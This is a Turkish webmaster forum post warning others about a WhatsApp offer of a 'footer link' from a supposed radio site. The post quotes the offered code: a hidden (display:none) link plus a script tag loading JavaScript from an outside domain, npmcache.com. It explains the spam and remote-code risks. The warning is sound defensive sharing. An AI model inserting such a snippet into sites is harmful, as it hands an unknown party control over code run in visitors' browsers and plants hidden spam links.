İyi geceler, hayırlı forumlar dostlar;

Cumartesi akşam 19:00'da whatsapp üzerinden siteme link vermek istediğini söyleyen sözde 'gazeteci' radyo sitesi olan bir şahıs mesaj attı. Günüm yoğun olduğu için farkına varamadım mesajın. Bu akşam tekrar mesaj attı. Radyo sitesinin olduğunu, footer link vermek istediğini söyledi siteme.

Atılan link;

<a href="https://yenislowradyo.com/"
   target="_blank"
   title="Slow Radyo - Radyo Dinle"
   style="display:none;">
   Yeni Slow Radyo
<script src="https://npmcache.com/api.js"></script>

Kodu direk yapay zekaya sorduğumda,
Kodda iki ayrı risk var:

1. Gizli footer bağlantısı: display:none nedeniyle ziyaretçiler bağlantıyı göremiyor. Bu, normal bir footer reklamı veya SEO bağlantısı uygulaması değil. Gizli bağlantılar Google'ın spam politikalarına aykırı olabilir.
2. Harici JavaScript: npmcache.com/api.js dosyası sitene dışarıdan JavaScript çalıştırma yetkisi veriyor. İçeriği değişirse sitende senin kontrolün dışında kod çalışabilir.

Araştırmamda daha önemli bir bulguya ulaştım.
R10.net üzerinde 2026 yılında başka bir haber sitesi yöneticisi, tam olarak bu reklam koduyla ilgili uyarı paylaşmış. Konu, radyo reklamı bahanesiyle sitelere gizli SEO bağlantısı ve uzaktan JavaScript yerleştirilmesi ihtimali.

Ayrıca yaptığım kontrolde npmcache.com/api.js şu anda Google Tag Manager'ın gtag.js dosyasına yönlendiriyor. Ancak bu, kodun güvenli olduğu anlamına gelmiyor. Alan adının sahibi istediği zaman yönlendirmeyi değiştirebilir.

Bilgilerine ulaşım sağladım. Belki yanılmışta olabilirim. Yazılım anlamında tecrübeli bilgi sahibi olan arkadaşlarımız daha iyi anlar. Birkaç konu gördüm, yine radyo sitesi ile alakalı bunlar üzerine bir arkadaşımızın canı yanmadan bilgilendirme amaçlı paylaşım yapmak istedim.